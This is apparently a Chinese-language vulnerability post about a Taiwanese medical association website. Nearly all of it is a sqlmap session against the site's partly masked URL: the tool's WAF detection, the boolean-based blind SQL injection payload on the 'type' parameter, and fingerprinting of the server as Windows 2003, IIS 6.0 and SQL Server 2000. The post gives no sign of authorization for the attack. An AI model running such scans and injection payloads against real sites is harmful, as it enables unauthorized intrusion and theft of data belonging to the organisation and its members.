台湾某医学会sql注入漏洞

直接上sqlmap神器

PS C:\security tools\sqlmap-master> python.exe .\sqlmap.py -u "http://www.xxx.org.tw/people/edu.asp?type=6"
         _
 ___ ___| |_____ ___ ___  {1.0.5.46#dev}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all ap
d federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 20:17:12

[20:17:12] [INFO] testing connection to the target URL
[20:17:12] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[20:17:13] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] y
[20:17:15] [WARNING] dropping timeout to 10 seconds (i.e. '--timeout=10')
[20:17:15] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[20:17:15] [WARNING] WAF/IDS/IPS product hasn't been identified (generic protection response)
[20:17:15] [INFO] testing if the target URL is stable
[20:17:16] [INFO] target URL is stable
[20:17:16] [INFO] testing if GET parameter 'type' is dynamic
[20:17:17] [INFO] confirming that GET parameter 'type' is dynamic
[20:17:17] [INFO] GET parameter 'type' is dynamic
[20:17:17] [INFO] heuristic (basic) test shows that GET parameter 'type' might be injectable (possible DBMS: 'Microsoft SQL Server')
[20:17:17] [INFO] testing for SQL injection on GET parameter 'type'
it looks like the back-end DBMS is 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1) values? [Y/n] 1
[20:17:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:17:27] [INFO] GET parameter 'type' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[20:17:27] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[20:17:27] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[20:17:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[20:17:27] [WARNING] time-based comparison requires larger statistical model, please wait................... (done)
[20:17:40] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e
[20:17:40] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[20:17:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:17:43] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:17:45] [INFO] checking if the injection point on GET parameter 'type' is a false positive
[20:17:48] [WARNING] it appears that the character '>' is filtered by the back-end server. You are strongly advised to rerun with the '--tamper=between
GET parameter 'type' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 57 HTTP(s) requests:
---
Parameter: type (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: type=6 AND 9449=9449
---
[20:18:04] [INFO] testing Microsoft SQL Server
[20:18:04] [INFO] confirming Microsoft SQL Server
[20:18:05] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[20:18:05] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 8 times, 404 (Not Found) - 27 times